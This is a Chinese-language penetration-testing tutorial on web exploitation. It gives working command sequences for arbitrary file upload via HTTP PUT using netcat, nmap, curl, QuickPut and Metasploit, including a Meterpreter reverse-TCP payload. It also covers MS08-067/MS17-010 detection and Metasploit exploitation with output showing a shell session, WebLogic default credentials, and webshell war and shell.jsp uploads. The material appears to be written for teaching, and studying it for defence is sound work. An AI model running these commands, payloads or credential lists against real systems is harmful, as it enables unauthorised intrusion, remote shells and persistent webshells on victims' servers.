1、HTTP PUT方法利用
PUT是用来进行文件管理的方法,若运维人员未修改Web服务器缺省配置,依然支持这些方法,则可以向服务器文件系统任意上传文件。
1.1、 Netcat利用PUT方法
Netcat是一款非常出名的网络工具,简称“NC”,有渗透测试中的“瑞士**”之称。它能够实现端口监听、端口扫描、远程文件传输以及远程shell等多种功能。
查看得知Web服务开启PUT方法后,输入如下命令上传文件:
nc IP PORT
PUT /dav/hack.txt HTTP/1.1
Host: IP
按两次回车可以看到hacked.txt文件已经成功创建,状态码是201,文件创建位置为/dav/目录。
1.2、Nmap利用PUT方法
命令:
nmap -p 端口 IP -script http-put-script-args http-put.url='/dav/test.php',http-put.file='/root/test.php'
命令讲解:
-script http-put //选择http-put脚本,脚本支持使用http put方法上传文件。
-script-args //设置脚本参数1、2
http-put.url='/dav/test.php' //设置参数1为上传目标文件路径
http-put.file='/root/test.php' //设置参数2为上传本地文件路径。
图中可以看到通过Nmap脚本上传成功。
使用日常见面的BurpSuite访问上传目标路径抓取数据包,修改数据包请求方式及上传路径,在请求正文中写入文件内容,发包至Web服务器。
服务器响应包显示文件创建成功。
CURL是一个利用URL语法在命令行下工作的文件传输工具,通过指定的URL来上传或下载数据,并将数据展示出来。curl中的c表示client,而URL,就是URL。
通过PUT方法创建文件命令如下:
命令1:
curl -i -XPUT -H “Content-Type: text/plain; charset=utf-8” -d “hack completed” http://192.168.40.4/dav/hack.php
命令讲解:
-i/--include //输出时包括protocol头信息
-X/--request
-H/--header
-d/--data //HTTP POST方式将文本写入创建的http://192.168.40.4/dav/hack.php
命令2:
curl -i -X PUT -H “Content-Type:application/xml; charset=utf-8″ -d @”F:\1.php” http://192.168.40.4/dav/hack.php
命令讲解:
-d @“filename” //从文件读入内容
1.5 QuickPuT脚本利用PUT方法
利用QuickPut这个Python命令行工具,我们可以使用HTTP PUT方法将文件上传到服务器。
上传命令:
python2 QuickPut.py F:\1.php http://192.168.40.4/dav/hack1.php
命令讲解:
python QuickPut.py <本地文件> <目标URL>
Metasploit的辅助模块auxiliary/scanner/http/http_put可实现文件上传,删除操作。
命令:
使用http_put模块进行辅助扫描http服务
show options //显示模块参数
set RHOSTS 192.168.40.4 //设置目标IP
set PATH /dav/ //设置目标路径
set payload php/meterpreter/reverse_tcp //设置攻击载荷
set filename msf.php //设置上传文件名
set FILEDATA file://root/test.php //设置上传本地文件数据路径
exploit //开始攻击
返回结果显示成功上传文件。
进行信息收集端口扫描后发现主机开启139,445端口且banner显示为Microsoft Windows,则会联想到与139、445端口SMB漏洞,比较常见的有ms17-010,ms08-067等。
漏洞检测
命令:
namp --script=/usr/share/nmap/scripts/smb-vuln-ms08-067.nse –sTIP
namp --script=/usr/share/nmap/scripts/smb-vuln-ms17-010.nse –sTIP
命令讲解:
--script=/usr/share/nmap/scripts/smb-vuln-ms08-067.nse //使用Nmapms08-067漏洞扫描脚本
-sT //使用TCP扫描
若输出结果为:
smb-vuln-ms08-067:
VULNERABLE:
Microsoft Windows system vulnerable toremote code execution (MS08-067)
State: VULNERABLE
IDs: CVE:CVE-2008-4250
The Server service inMicrosoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,Vista Goldand SP1, Server 2008, and 7 Pre-Beta allows remote attackers to executearbitrarycode via a crafted RPC request that triggers the overflow during pathcanonicalization.
Disclosure date: 2008-10-23
References:
https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
则说明存在ms08-067漏洞,ms17-010同上。
漏洞利用
使用MSF smb攻击模块,利用ms08-067与ms17-010漏洞。
msf> use exploit/windows/smb/ms08_067_netapi
msfexploit(ms08_067_netapi) > set RHOST IP
msfexploit(ms08_067_netapi) > exploit
[*]Started reverse TCP handler on 本地监听IP端口
正在自动检测目标IP:445
[*]目标IP:445- Fingerprint: Windows 2000 - Service Pack 0 - 4 - lang:English
[*]目标IP:445- Selected Target: Windows 2000 Universal
[*]目标IP:445- Attempting to trigger the vulnerability...
[*]Sending stage (957487 bytes) to 目标IP
[*]Meterpreter session 2 opened (监听IP端口 -> 目标端口反弹)
meterpreter>
ms17-010漏洞利用同上。
在渗透测试中常常会遇到Weblogic Server应用服务器,看到Weblogic Server后联想到Weblogic Server可能会存在后台管理弱口令、JAVA反序列化漏洞、任意文件上传漏洞等许多本版的各种CVE漏洞。下面分享下Weblogic各种漏洞的利用手法。
3.1 后台登录弱口令
常见Weblogic Server登录弱口令:
weblogic/weblogic
weblogic/weblogic1
weblogic/weblogic10
weblogic/weblogic123
若存在即可登录应用服务器管理后台,上传webshellwar包。
上传后在应用服务器中部署war包
上传部署war包成功后即可访问大马。
3.2 JAVA反序列化漏洞
CVE漏洞可直接使用脚本检测,然后根据漏洞代码寻找exp脚本漏洞利用。
Weblogic漏洞检测脚本十分强大,可检测各种CVE、管理后台路径、SSRF、弱口令、并支持后期扩展。
也可利用Java反序列化漏洞利用工具直接进行检测利用。漏洞工具提供漏洞检测、命令执行、文件上传、批量检查功能。
3.3 Weblogic 任意文件上传漏洞
通过爆破Weblogic返回信息。
获取到登录口令、服务名、随机字符目录,构造上传POC进行测试文件上传。
在/bea_wls_deployment_internal/DeploymentService路径下传入以下数据
服务器返回上传成功和文件绝对路径。
访问此上传文件路径后显示上传文件内容
http://IP/bea_wls_deployment_internal/shell.jsp
以上是Web漏洞利用姿势的示例分析的详细内容。更多信息请关注PHP中文网其他相关文章!